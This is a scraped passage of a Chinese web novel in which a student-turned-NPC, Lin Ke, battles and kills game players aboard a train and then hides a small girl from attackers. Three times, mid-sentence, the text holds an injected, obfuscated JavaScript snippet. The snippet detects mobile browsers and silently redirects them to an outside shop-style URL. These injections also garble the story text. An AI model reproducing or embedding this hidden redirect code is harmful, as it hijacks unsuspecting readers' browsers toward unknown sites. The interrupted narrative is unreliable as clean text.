林轲惊愕抬头,先映入眼帘的是一双白色长筒靴。白色长靴在黑夜中格外醒目,仿佛泛着幽幽银光,靴子有节奏地踩在车顶,不疾不徐地向她逼近。 林轲看到白靴的瞬间,已摸出后腰的手枪。她上半身刚抬离车顶,持枪的手还未举起,身后传来‘嗒嗒嗒嗒’的疾驰声。还没等她回头,后背传来被锤的剧痛——有东西重重顶在她两侧肩胛骨之间。 林轲感觉胸口的肋骨几乎全碎了,胸腔翻江倒海,嘴里的血腥味更浓。她在后背被顶住的同时将持枪的手反转向身后,企图开枪。 谁料她的手腕被一把抓住,用力一拧,发出清脆的骨头断裂的“嘎巴”声。 “啊——”林轲撕心裂肺的尖叫。枪从她手上脱落,掉在冰凉的铁板上。 林轲疼得全身抽搐,但神智依然清醒。她看到那双白色靴子越来越近——靴上沾满鲜血,正从靴筒高处流下,有些甚至还没干,在车顶上留下一个个暗黑色的血脚印。 “小乔,你不要这么粗鲁嘛。”妖娆魅惑的女声从头顶上方传来。 白靴的主人距林轲一步之遥停下来。 林轲视线所及,只有白色染血的靴子。 “你就是Mboss让我们追杀的NPC?” 18. 无限猎杀 白靴主人慵懒地说,林轲从她拖长的尾音里听出了失望和不屑。 “有点弱啊,就这样……值得我们大动干戈?之前那些人真是够废物的了!” “杀了她?”身后传来冰冷的少女声音。那声音很独特——明明是稚嫩的少女声线,却透着极致的冷漠和狠绝。 “等等……”白靴主人声音依旧慵懒妖娆,尾音拖得又长又软,“我先和Mboss谈谈条件。” 时间仿佛凝固。世界再次安静下来,静得林轲能听见自己胸腔里咚咚狂跳的心跳声,一下比一下重,撞得肋骨发疼。 “他大爷的!”白靴主人连骂人都感觉不到一丝怒气,反而更显妩媚,“这个Mboss抠得要死,我想要这列火车所有玩家的一半经验值,他居然不肯给。” 小乔的声音从身后传来:“所有玩家一半经验值……是不是有点多?我们要不然去那些玩家死亡的车厢里,杀剩余的NPC吧。” “你傻啊,那些车厢里的NPC都被他们杀得七七八八,我们去也捞不到几个。你差两千多经验值就升到铂金玩家了,必须在这次列车上一次凑齐,赶在全面开服之前把号卖个好价钱。” 林轲听着她们的对话,心底的恨意像氢气遇明火,瞬间轰然烧遍全身。 她恨的不是她们杀了多少NPC——而是她们这种居高临下的态度。 她们口中的“经验值”,是这列火车上一条条NPC的性命。她们漠不关心,毫不在乎,彻彻底底站在上位者的视角俯视着NPC,将他们彻底数字化、工具化。 林轲恨透了这种被俯视的感觉。 这让她想起一直缠着自己的噩梦——深蓝色的穹顶。 穹顶巨大无边,遮住所有阳光,把她笼罩在无边的阴影里。穹顶不是平滑的,而是层层叠叠的褶皱,每一道褶皱上都布满大大小小的眼睛。 那些眼睛没有眼球,密密麻麻的空洞眼睛俯视着地面的一切。 林轲想逃离这种监视,又想把这些穹顶全部炸毁。可无论她怎么做,都只能在地面徘徊,碰不到它们,更毁不了它们——这让她愤怒,也充满恐惧。 这些没有眼球的眼睛,像她的养父,也像这些玩家。 “可是……”小乔犹豫,“他就是不给我们怎么办?他是Mboss,经验值最后由他来分,我们也没办法啊。” “那我们就不管了——或者……帮着这个NPC把其他玩家杀了。Mboss不让我们自己动手,NPC动手总没问题吧?”白靴主人轻轻飘飘地说,“等我再和他谈谈。” 她话音刚落,林轲明显感觉肩胛骨之间的压力减轻了些,身后的小乔有些放松警惕 如果白靴主人和Mboss达成一致,身后的少女绝对会瞬间要了她的命。 不行。必须干扰她们,给自己争取时间。 林轲发动伪装能力,变成另外一个玩家模样,随后用力咳嗽两声,引起她们的注意。 “咦——”身后的小乔发出一声惊叹,“大乔,你看他的样子,好像变了。” 大乔蹲下来,一股奇异诱人的香气钻入林轲鼻中,“Mboss果然没说错,他觉醒了伪装能力。靠,这狗日的游戏真不公平——我们玩家的能力要靠经验值兑换,NPC居然能自己觉醒?” “杀了觉醒能力的NPC,经验值会不会多点?”身后的小乔满怀期待地问。林轲感到后背的压力又加重了。 “NPC经验值只和他们的等级有关,跟能力没关系。”大乔像温柔的大姐姐,耐心地解答。 “那他们自己应该知道是什么等级吧?”小乔说着,抬起压在林轲后背的膝盖,扯着她的衣领把她拉起来,“喂,你什么等级?” 林轲被她拉起,终于看清了她们。 压着她的小乔梳着两个高马尾,上面绑着粉色的发带,一双乌黑的眼睛清澈又冰冷。她看起来也就十多岁的模样,脸上还有青春期少女特有的婴儿肥,身后背着一张几乎和她同高的银色长弓。 大乔一头大波浪长发,眼尾上挑,就算没笑,那双桃花眼也给人笑眯眯的错觉,美艳又魅惑。她手上拿着一把小巧的左轮手枪,白色的靴子上溅满了暗红色的血。 “我……”林轲的声音虚弱得发颤,“我是F级。” “F级?”大乔尾音上挑,用一根食指挑起林轲的下巴,“你一个F级的NPC,能杀死这么多携带武器的玩家——你以为我会信?” 林轲又咳嗽两声,才缓缓开口,声音空洞无力:“我情商低,所以是F级。这个等级判定……好像是木桶原理。” 小乔微微侧头看向大乔:“什么是木桶原理?” “就是我们说的短板效应,只不过换个名字而已。”大乔收回挑着林轲下巴的手,站起身叹了口气说,“这个游戏bug太多了,NPC的等级评定应该是各方面加权重来判断,而不是用最低的那个等级。” 她顿了一下,忽然眼睛一亮。 “小乔,他回我了。”大乔兴奋喊,“他让我们把这个NPC带过去,分我们这列车所有玩家一半的经验值。” “真哒,太好了!”小乔难掩喜悦,拍着双手,“大乔,你也太厉害了!” “哎——”大乔用沾血的靴子踢了踢林轲,“变回刚才的样子。” 林轲抬起头,用乞求怜悯的眼神看向她:“我的能力有限制,只能变身一次……我变不回去了。”说到这里,她又用力咳嗽两声,空洞的咳嗽声从胸腔发出,肺像碎了一样。 大乔冷哼一声,白色的靴子踩在林轲已经被折断的右手上,慢慢用力碾压。 “虽然这游戏有bug,但还不至于这么多——你以为我会信你?” 钻心的疼痛从手背传来。林轲疼得浑身发抖,死死咬住牙根,口腔里再次泛起浓烈的腥咸。 “咔——咔——” 骨头碎裂的声音,消散在呼啸的旷野风声中。 林轲强忍着疼痛开口,“我就是……就是不变回去。Mboss不相信你们,你们别想、别想拿我换经验。” “一个NPC,还挺有骨气。”大乔啧了一声,抬起靴子,“不过可惜了,你刚才说的那段我已经录下发给Mboss。” “小乔,把他提起来,我们走。” 就在她们说话间,林轲已经用几个深呼吸调整了因断手而紊乱的气息,让身体积聚起最后的力量。 小乔最初压在她后背的膝盖已经拿开。在她们看来,这个被扭断右手、奄奄一息的NPC,已经完全没有威胁。 林轲的左手悄无声息地摸向腰间——那里别着隐身的唐刀。 感谢黑夜的掩护,她们没有注意到,她右手滑落的那把枪,最初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343092|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形态是隐身的。否则她们不会相信她身上已经没有任何武器,更不会对她放松警惕。 小乔扯着林轲的后衣领,像拎一件破布似的轻松把她提起。 “走,去七号车厢。”大乔说着向前迈步。 “好嘞!”小乔眼里闪烁着兴奋的光,拽着林轲抬脚跟上。 就在这一瞬间—— 早已蓄势待发的林轲双脚猛踩车顶,腰腹绷紧借力,握着唐刀的左手在小乔身前横向一抡! 刀锋划过。 小乔依然保持着拽她的姿势,似乎还不相信自己已经被拦腰切成两段。她低头看着腰腹间呲呲喷涌而出的鲜血,眼睛里满是不可置信。 大乔看到这一幕,瞳孔骤缩,手中的枪还没来得及射出—— 林轲已经斜刀劈来,将她劈成两半。 小乔死不瞑目地睁大眼睛,仰躺着,扭头看着大乔的一半上身滚下火车。 大乔身体喷溅的血被风吹散,飘得很远,覆盖了她来时留下的血脚印。 “大乔……” 小乔用尽最后一丝力气呼喊。她的肠子从腰腹的刀口涌出,在零下的无人区里冒着白蒙蒙的热气——然后转瞬化作数字化的绿色荧光代码,随风飘散。 这景色……有些唯美。 林轲左手握着刀,冰冷的眸子俯视着小乔正在消失的尸体,微微叹了口气。 反派死于话多——这句话太经典了。 想杀人,为什么要说那么多废话? 不过,她们的废话很有用。 【已杀死2个普通玩家,体能临时升为C+级】 【恭喜NPC737荣获“杀人不眨眼”称号。截至目前,你是第一个获得此称号的人。 称号奖励将在标记彻底解除后掉落。请苟到那个时候,加油!】 林轲听着脑中回荡的机械声音,扯下肩膀上的黄丝带,咬着丝带一端,把已经断掉,像是一滩烂肉垂在身侧的右手绑在胸前固定好,防止二次受伤。 大乔和小乔虽然断了她的右手,却告诉了她至关重要的情报。 用一只右手,换Mboss的位置——值了。 只要杀了Mboss,游戏重置后她就会恢复健康。 她必须杀了Mboss重置游戏——因为她没有医保,没有钱治手。 林轲迅速分析着局势:之前能杀死那么多玩家,靠的是信息差和玩家的猫鼠游戏心理。如果玩家像大乔小乔这样,单纯只想杀她,她根本没有存活的机会。 现在玩家已经充满警惕,不会再给她这样的机会。 当前最重要的,是去七号车厢找到Mboss,杀了他,彻底解除标记。 林轲贴着车顶继续向前爬,比之前更加小心谨慎。 每爬一步,她的眼睛都会三百六十度扫视一圈。 就在她把视线从身后转回前方的瞬间—— 一道高大的黑影,正以不可思议的速度从前方逼近! 太快了! 那速度掠过之处,只留下一道残影。 这不是人该有的速度! 林轲的第一反应是躲。虽然还没看清敌人的容貌和武器,但仅凭这速度,就足以证明对方实力超群。若是正面交锋,她绝不是对手。 黑影越来越近—— 像一道光,直射而来! 19. 无限猎杀 林轲拉开手雷,朝那道直冲而来的黑影扔过去。 “轰——!” 暴起火光中炸飞的车身铁皮四散而飞。 趁着爆炸造成的视觉盲区,林轲纵身跃向车厢连接处,唐刀一挥,将半开的车门齐根斩落,闪身钻进车厢。 车厢里横七竖八躺满了尸体,只有几个人抱着枪坐在中间座椅上。听到动静,他们齐刷刷扭头看向林轲。 马元就在其中。 看见他的瞬间,林轲脑子里冒出一个主意。她缩回连接处,拉掉另一颗手雷的保险栓,朝马元他们扔了过去。 “快躲开!有炸弹!” 惊呼声中,手雷炸开。 林轲借着爆炸的掩护,矮身钻近最近的座位底下。 橘红的火光裹挟着浓烟炸裂,刺鼻的硝烟味瞬间灌满整个车厢。顶灯被震碎大半,浓烟弥漫,车厢瞬间陷入昏暗。 【已杀死普通玩家1人】 林轲脑中响起游戏提示音。 “我靠靠……该不会是那个NPC杀过来了吧?”马元惊恐尖叫,“他是来杀我们的!” “喊什么喊!”一个女生厉声呵斥,“搞清楚,我们是猎人,他才是猎物!” “猎人怎么了?猎物又怎么了?”马元声音都破了,“我之前就被NPC反杀过!这车上的NPC比我遇过的还狠,连大乔小乔那种专门练号的都死在他手上!” “我们别自乱阵脚,”另一个男人压低声音,“Mboss在群里说了,已经派人来解决他。我们现在躲好就行。” 派人来解决——指的应该就是那道黑影。 果然,能成为整列车的Mboss还是有点实力的,并不好杀。 林轲蜷在座位下,从低矮的视野里,看见一双黑色皮鞋缓缓走近,在她藏身的座位旁停下。 皮鞋干净锃亮,就连鞋跟都没有沾上一丝血迹。 皮鞋的主人,很可能就是刚才那道黑影。 林轲呼吸一窒,死死盯着那双鞋。 “开枪!开枪!快开枪!”车厢中间传来惊恐的尖叫。 “嘭嘭嘭!” “嘭嘭嘭——” “嘭嘭嘭——” 步枪的连续射击声在车厢里震荡。 子弹噼里啪啦落在地上,滚到林轲面前,带着灼烫的温度擦过脸颊。 太好了,他们开始狗咬狗了。 林轲刚才那一系列操作,就是为了让黑影和残存的玩家混战起来。大乔小乔知道她有伪装能力,其他玩家肯定也知道——他们不会再信任任何靠近的可疑人,更何况“这个人”刚刚还给他们扔了个手雷,炸死了他们一个人。她正好利用这点,让他们自相残杀。 他们最好两败俱伤,自己好坐享渔翁之利。 但下一秒,林轲震惊地发现:子弹明明击中了黑影,他却没有倒下,甚至连晃都没晃一下,依旧不紧不慢地向前走。 “啊啊啊——怎么回事?!”马元崩溃大喊,“这NPC是怪物吗?怎么一点事没有?!” “停火。”黑影声音冰冷,“我不是NPC。” “突突突突——” 回答他的是更猛烈的射击。 “谁信你!大家都别信,这NPC狡猾得很!”马元嘶哑的吼叫着。 硝烟越来越浓,子弹越来越密。 可那双黑皮鞋,一步、一步,稳稳向前。连被子弹冲击得后退一下的意思都没有。 林轲趴在座位下,屏住呼吸,血液几乎凝固。 这到底是什么恐怖的存在? 她身体控制不住地发抖——不是因为愤怒,不是因为无力,而是恐惧。 第一次,她感受到死亡如此逼近。 也许下一秒,黑影就会一把掀开她藏身的座位,直接拧断自己的脖子。 林轲呼吸不自觉地加重。还好枪声没停,盖住了她的喘息。 她舌尖抵住上颚,强迫自己深呼吸。 “停火。”黑影再次开口,声音低沉,隐隐透着不耐烦,“我不是NPC。Mboss让我来抓那个NPC,他就在这附近。别影响我找他。” 马元嘶声大喊:“你怎么不说你就是Mboss呢!就算你是Mboss派来的,万一半路被那NPC替换了呢?!” “唉……” 黑影发出一声低叹。 下一秒,他在猛烈的火力中骤然前冲—— 就是现在! 林轲从座位底下钻出来,闪身退进卫生间。 身后传来一连串骨头断裂的脆响。最后一声颈骨扭断的咔嚓声过后,车厢里彻底安静下来。 “你应该就在我身边。”黑影的声音在寂静中响起,不远,很近。 林轲确实在他身边——相距估计不到五米。 她背抵卫生间的门,从包里抽出有线耳机,一头系在手雷拉环上,固定在门内的把手上,另一头绑在门口的置物架上。 布置完毕,她从卫生间敞开的窗户爬上车顶。 多亏连续杀了那么多玩家,体能不断提升——要是以前,这窗户她绝对翻不上去。 林轲不确定手雷能炸死黑影,她爬到车顶后奋力狂奔。 刚跑出五六米,身后传来震耳欲聋的爆炸。 冲击波把她整个人掀起,又重重摔在车顶上。已经断掉的右手率先着地,尖锐的断骨戳破皮肉,直接扎了出来。 剧痛让林轲全身不受控制地抽搐。她大口喘着气,汗水再次浸透全身。但她顾不上疼,死死盯着后方——车皮被炸飞了一半,火焰熊熊燃烧着。 这么大的威力,应该能把那黑影炸成碎片了吧? 可游戏提示迟迟没有响起。 下一秒,林轲瞳孔骤缩。 一个黑色的人影,缓缓从烈火中站了起来。 他周身被烈焰包裹,皮肉烧焦的臭味随风飘来——他居然还活着!他双手搭上车顶边缘,一跃而上。 林轲脑子里只剩下一个念头—— 跑。 拼尽全力地跑。 她不再顾忌会不会暴露,只想逃离这个浑身是火、打不死炸不死的怪物。 刚跑出两步,小腿剧痛袭来,她整个人摔跪在车顶上。 她的右腿被子弹打穿了。 “你人生的第二信条,是什么?” 身后逼近的火人,声音低沉而压抑。 林轲回头——燃烧的身影距她不过两米,灼人的热浪几乎要把她烤化。 “什么?”林轲高度紧张,甚至没反应过来这句话的来历。她左手摸出唐刀,准备做最后一搏。 “算了,无所谓。”燃烧的人抬起手,扣动扳机,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343811|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是来杀你的。” 同一瞬间,林轲挥刀。 子弹击在刀身上,溅起火星,弹向两侧。 “嗒嗒嗒——” 另一阵步枪声骤然炸响。 林轲心头一沉。用唐刀挡子弹已经是极限,左手被震得发麻。如果还有其他玩家围攻,她必死无疑。 每一寸肌肉的能量都已耗尽,握刀的左臂不受控制地颤抖。右臂和小腿的痛感持续侵蚀着她仅剩的意志。 有那么一瞬,她想要放弃。想直接滚下火车,至少不会落入玩家手里,死得太惨。 “快跑——” 女孩焦急的呼喊声传来。 林轲震惊地抬头,透过火人身影的间隙,看见一个人从窗户探出半个身子,端着步枪—— 是那个她救过的女孩。 话音未落,枪声再起。 黑影被子弹打得身体晃动,手中的枪也随之偏移,无法瞄准林轲。 林轲抓住机会,提刀刺去。 黑影抬臂格挡。唐刀丝滑地切断了他的手臂,就像切过一节枯枝。 黑影明显愣住片刻。 林轲抓着珍贵的生死时刻,挥刀再次砍去。 这一次黑影没有硬接,侧身闪避,同时抬枪对准她。但他的动作明显慢了下来,不如之前追她时迅捷。 林轲不退反进,转刀直接割下他握枪的手。 双臂尽断的黑影连退三步,身上的火还在灼灼燃烧。 “你……用的什么武器?”黑影的声音不再冷静。 在他眼里,林轲只是虚握着手——唐刀始终处于隐身状态。 林轲没回答,抬手做出一个从上劈下的假动作——但刀身是横握着的。 黑影以为她要当头劈下,侧身闪躲。 “咔——” 林轲刀在劈下来的一瞬,调转方向,横向切了过去,扫向他的脖颈。 刀柄传来的触感告诉林轲:切中了。 她没有犹豫,一脚把他踹下车厢。 燃烧的身影在空中坠落,化作莹绿色代码,消散在无人区的旷野。 【已杀死特殊玩家1人,体能升级为C++】 【初级刀谱已升级:速度+20%力量+10%招式娴熟度+10%】 机械提示音在脑中回荡。林轲紧绷的神经终于松弛下来,虚脱地跪在车顶上。 这是她第一次遇到这么难杀的玩家。 如果不是那个女孩及时开枪,给了她喘息的机会,她绝对不可能反杀成功。 林轲很少帮助别人,当然别人也很少帮助她。她一直觉得这是天经地义——她不帮别人是本分,别人不帮她是应该。 可那个女孩,为什么要冒险来帮她? 这个时候开枪,风险极高。如果黑影没被削弱,杀了自己后,下一个死的就是她。 她是在用命赌。 值得吗? 如果换作自己,会开枪吗? 林轲不愿意想这个问题。 她摁出三个奶片塞进嘴里,补充体力。 腥苦的口腔再次充盈起奶香,她感觉好受了些。 太累了,她想躺一会儿。 就躺五秒钟。 五秒钟。 紧绷的精神稍微放松,林轲刚欲躺下,瞥见天空,吓得猛然坐起。 20. 无限猎杀 比黑漆夜空更恐怖的,是上面密密麻麻血红色眼睛。 眼睛仿佛将整个天穹包裹,里面的血色眼珠方向各异,来回转动,像无数只窥探人间的恶鬼。 这些眼睛是刚刚出现的——至少之前她在车顶时,没有看到它们。 林轲心脏漏跳了一拍,但很快说服自己:整个世界都是游戏,有什么没什么都是设计出来的。就算这个世界真的有鬼,也是能解释的——只是另一种模型和数据而已。 今晚回寝室之前,她只是一个平平无奇的女大学生。 而现在,她都记不清杀了多少人,用了什么方法。 似乎一切都是本能。 也许……她是游戏设置的彩蛋NPC——看似平平无奇,实则是玩家的大杀器,用来和玩家抗衡,增加游戏体验。 她所做的一切,早被游戏行为模型制定好了,根本不是自己的意志,只是她不知道而已。 如果是这样,她反抗的意义到底是什么? 越是反抗,就越顺应了游戏开发者的意图。 自从看到那些血红色眼睛,林轲的头昏沉沉的,思绪不由自主地滑入自我怀疑的泥沼。 也许童年被拐、偷窃谋生、转入孤儿院的经历,以及后来养父的出现,都是冥冥中设计好的——就是为了让她有仇恨,有能力去反抗玩家。 既然他们想用自己提升玩家游戏体验,那不如直接死掉好了。 林轲这么想着,上半身已经倾向车沿。 呼啸的火车疾驰而过,除了天上密密麻麻的血色眼睛,无人区旷野没有任何颜色。 或许是因为失血过多,刚刚的激战耗尽了所有体力,林轲的意识越来越模糊。 她想要一头扎下火车,就这么结束—— 就在她迷迷糊糊之际,一张粉色的糖纸从眼前飞过。 林轲经常做两个重复的梦:蓝色穹顶的眼睛,粉色糖纸。 前一个梦里是恐惧和愤怒,后一个则是温暖和希望。 梦里的粉色糖纸,在阳光下折射出五颜六色的光。 每次林轲感到绝望、孤独、恐惧,觉得生活已经没有任何意义时,它就会出现。 糖纸变幻着五彩光芒,虽然微弱,却温暖着她,令她在冷漠麻木的生活中,产生一种被爱的幻觉。 林轲想要找到真正的粉色糖纸。她有一种强烈的直觉——如果生活就这么平淡如水地过下去,她永远也找不到。 而现在,随着玩家的降临,整个世界天翻地覆。 既然穹顶上的眼睛都已经出现了,粉色糖纸应该也不远了。 想到这里,林轲猛地清醒。她连忙往后缩,远离车顶边缘。 怎么回事?刚才怎么会想死? 林轲喘着粗气,吓得手心全是冷汗。 她抬头看向天上那些血红色眼睛——刚才就是看到它们,才产生那种念头。 莫非……这是精神控制?是Mboss的一种能力? 林轲立刻低下头,不去看那些眼睛。她拖着残破的身体,咬紧干裂的嘴唇,含着腥甜的血,继续用单臂匍匐爬行。 身下所过之处,留下一道长长的血印。 她想起黑影的问题:你人生的第二信条是什么? 当时林轲没多想,现在才想到李争曦。 李争曦之前问过她人生第二个信条是什么。 黑影难道是李争曦? 李争曦掉下火车的时候,游戏并没有提示,当时林轲还觉得奇怪,原来她并没有真死。 黑影死后,游戏提示是“特殊玩家”,而之前都是“普通玩家”。 李争曦果然不简单。不过还好,她已经彻底死了——至少这一轮不会再构成威胁。 林轲思考时,已经爬到第七节车厢——Mboss所在的位置。 她想如果自己是Mboss,得知派去的人都被干掉后,肯定不会留在已经暴露的车厢。 或许他早已经离开。 林轲从车顶探下身观察第七车厢,意外发现这里几乎没有血迹。几个乘客拿着白色铁杆守在车厢连接处——铁杆像是刚从床栏卸下来的。他们神色紧绷,大多数集中在车厢两端检查进来的幸存者,少数老弱坐在中间位置。 看来第七车厢没有玩家在这里猎杀。这个车厢里的乘客组织起来,把车厢两端堵住,防止其他玩家过来。 但单靠堵是没用的——玩家有手雷,随便一炸就开了。之所以没玩家过来,主要原因还是Mboss在这里。 如果是这样,Mboss大概率还在第七车厢。 林轲没有像之前那样用唐刀割开窗户跳进去,这样动静太大,会引起Mboss注意。 她从第八节车厢下去。这里已经没有玩家,只剩下几个幸存者排队接受第七车厢人的检查。 林轲变回乘警模样,往前走了几步,口中含糊说了一句“救命”,直接摔倒在地。 一个排队接受检查的女人迅速跑向她。林轲听着脚步声,手中握紧隐藏的匕首。 不管是玩家还是幸存者,除了自己,她不再相信任何人。 “她的右手骨折了,右腿是枪伤。”女人蹲下来查看林轲的伤,转身大声喊,“颜应风,快把医药箱拿过来。” “老师——”颜应风紧张地看向林轲来的方向,没有动,“我们别管她了。她这样肯定是那些恐怖分子干的,没准后面还有人追来,我们快进去。” “去拿,快点!”女人声音狠厉了几分。她手搭在林轲脖颈,又翻开林轲的眼皮查看瞳孔。 很快颜应风拎着医药箱跑过来。女人打开箱子,给林轲伤口止血、包扎,又找了两本随身带的硬壳书撕下封面,固定断肢。 动作娴熟,十分专业。 林轲顿时感觉好多了,缓缓睁开眼睛,但手中依然握着匕首。 林轲:“谢谢你们救了我。” “老师,我们快走吧。”颜应风焦虑扭头看向车厢口方向。 “我们把她扶过去。”女人架着林轲一侧,颜应风架着林轲另一侧,带带她往七号车厢走。 “快点,快点!”守在七号车厢门口的人焦急催促。 她们走到门口,守门人语气生硬:“携带武器都要交出来。” 女人打开背包:“我没有武器,只有这些东西和医疗箱。” 守门人拿过包翻了两下。另外一个守门人翻林轲的包——她早已把武器隐藏,包里只有几件衣服、奶片、矿泉水和泡面。 检查完后,守门人放她们过去关好门。 “你需要休息。”女人扶着林轲往里走,“先找个床铺躺下。” “谢谢。你叫什么名字?是医生吗?” “我叫孔慈宁,是一名外科医生。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347152|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这个名字林轲有印象——她的室友文思涌整天念叨“孔慈宁”——首外医院的胸外名医,业内权威专家。文思涌和魔怔了一样,早起晚睡学习,做实验,写报告,就是为了考她的研究生。 这样的人,怎么在绿皮火车上? 林轲不解。 孔慈宁扶她在空床铺坐下,对身后的颜应风说:“应风,我们去看看其他伤者。” 虽然这个车厢几乎没人受伤,但逃过来的幸存者里,不少都带着伤。她俩把林轲放在空床上后,便去检查其他伤者。 林轲怎么能趟得住——她还得找Mboss!!! 她扶着床栏杆站起来,缓缓往前走,五感放大到极致,仔细观察周围。 车厢里很吵。虽然这里暂时安全,但是远处传来的爆炸声刺激着每个人的神经。 “啊啊啊——” 女童的哭声穿透吵闹传来。 “哭哭哭!睡醒了就哭!都这时候了还哭!”女人的声音远远传来,“你个扫把星把老子们克惨了!遇到你这个娃儿算是倒八辈子血霉!” 林轲一瘸一拐快走两步,见女人抡起胳膊,“啪”地一掌打在坐在中铺、呜呜大哭的女童脸上。 “妈妈!妈妈!我要妈妈!”女童被打倒在床上,嘴里还哭喊着。 “我让你找妈妈!我让你找妈妈!”站在一旁的男人激动地翻开蓝色塑料袋,里面的注射器和白色药瓶在他颤抖的手中掉出来。 看到注射器的瞬间,林轲的瞳孔骤然收缩。 针尖在昏暗灯光下泛着冷光,像极了十多年前刻进她基因里的记忆。 针管冰凉刺入皮肤,冰寒的药物涌入血管,身体都跟着一起瑟缩。 女童哭喊的身影,和记忆里那个拼命挣扎的自己,重叠在一起。 “你在干什么。”林轲忍着伤口撕裂的疼上前一步,抓住男人的手腕,目光凌厉地看向他。 倒在床上的女童见到林轲,再次坐起。被打得红肿的脸上,一双眼睛泛着希冀的光:“你是警察……妈妈说……” 话没说完,女人抬手就要捂她的嘴。 林轲一把拉开女人,上前单臂抱起女童,阴沉的目光扫向那对男女。 或许是短时间内杀人太多,林轲瞬间散发出的杀气震慑住了他们。两人对视一眼,没敢说话。 女童细弱的双臂紧紧抱住林轲的脖子。她没有像刚才那样大哭,而是埋在林轲肩头小声抽泣。虽然衣服脏兮兮的,但贴身抱住时,一股淡淡的奶香钻入林轲鼻腔。 林轲右手被固定着,没法安抚她,只能轻声说:“别哭了,我带你去找妈妈。” “嗯。”女童抽噎着答应一声,用手背擦掉脸上的泪。 林轲抱着女童扫了眼车厢,对面上中下铺的三个人早不知所踪。 虽然她答应女童帮她找妈妈,但并不能把她带在身边,得找个安全的地方把她安置好。 “轰——” 突如其来的爆炸声彻底打破七号车厢的平静。 “门被炸破了!快跑!”一声惊呼,车厢里的人纷纷逃窜。 有玩家攻击这个车厢,难道Mboss已经不在这节车厢了? 林轲抱着女童,跟着人群逃离。 不管Mboss在不在这个车厢,没有把女童安顿到安全地方之前,她不打算和玩家正面冲突。 21. 无限猎杀 爆炸声是从六七号车厢连接处传来的,所有人争先恐后往八号车厢涌去。 林轲抱着女童跑出几步,孔慈宁从身后挤过来,“把孩子给我吧,你手受伤了。” “不要!”糖糖猛地收紧手臂,死死抱住林轲的脖子,小小的身体吓得瑟缩发抖,声音里带着哭腔,“我不和陌生人走!” 林轲左臂搂女童更紧些,“还是我抱着她吧,没事。” 她小时候经常挨打,对疼痛的忍耐力远超常人,尤其是在这种生死关头,身体似乎自动屏蔽了一部分痛觉。 身后枪声越来越密集,被射中的人不断发出惨叫。 这样被动逃跑不是办法,尤其带着孩子。 林轲余光扫到列车员休息室,推开门,里面空无一人。 “快进来!”林轲回头冲孔慈宁喊。 颜应风却死死拽住孔慈宁的手臂:“老师,别躲这儿!躲在这儿只有死路一条!”她焦急地往后指,“往人多的地方跑!” 孔慈宁看向林轲,眼神里闪过一丝犹豫,被颜应风拽着,裹挟在人群中前行。 林轲没有强求,毕竟她也不知道哪里更安全。 她正要关门时,一只白净的小手摁在门上。 林轲认得他——刚上车时坐在她对面的民国风小男孩。 小男孩撑着门,脸颊沾血,白衬衫上满是血污,咖啡色格子背带裤一条背带散落在身侧,看起来十分狼狈。 “叔叔,能让我也躲一躲吗?” 小男孩漆黑的大眼睛抬头望向林轲,眼里满是恳求。 林轲一直觉得小男孩和那个男人有些诡异,但说不上哪里诡异。 她并不想让小男孩进来。 林轲:“你的家长呢?” “坏人出现后,他就走了,一直没有回来。”小男孩说着,低下头,用手臂擦眼角的泪水。 林轲看他这模样,没再狠心拒绝,把他拉进来,反手关上门,锁住。 房间里有张桌子,桌子下有个小柜子。大人躲不进去,但小孩可以。 林轲把女童放下来,左手轻轻抚着她肉乎乎的脸颊,几乎用尽这辈子所有的温柔,声音放得很轻很轻:“我还不知道你叫什么名字。” “我叫糖糖。”女童眼睛红红的,但没再哭。 “糖糖,这个名字真好听。”林轲拉着糖糖软乎乎的小手,“糖糖,外面有坏人,很危险。叔叔要去抓坏人,你暂时在这里躲一下好不好。等叔叔把坏人都打败,就回来接你,带你去找妈妈。” 糖糖紧紧抓着她的手,眼里的泪花打着转,不肯松开。 林轲还想再劝,她却松开了手,伸出小手指。 “那我们拉钩吧。”糖糖的声音小小的,却很认真,“你一定要回来接我,带我去找妈妈。” 林轲勾上她的手指,用力点了点头:“放心,我一定会的。” 糖糖天真问,“你会像齐天大圣孙悟空那样厉害吗?” 林轲笑了,“我比他还厉害,我是观世音菩萨。” 她打开柜门,“糖糖你躲在这里,我没回来之前,不要自己出来,也不要发出任何声音。” 糖糖很乖地爬进柜子里,抱着膝盖坐好,眼睛亮亮地看着林轲。 “你会回来找我,带着我找妈妈的,对吧?”她又确认了一遍。 “对,我一定会的。”林轲轻轻抚了下她的头说。 “别怕黑,就当睡觉了。”林轲从背包里拿出一板奶片,摁出一颗递给她。 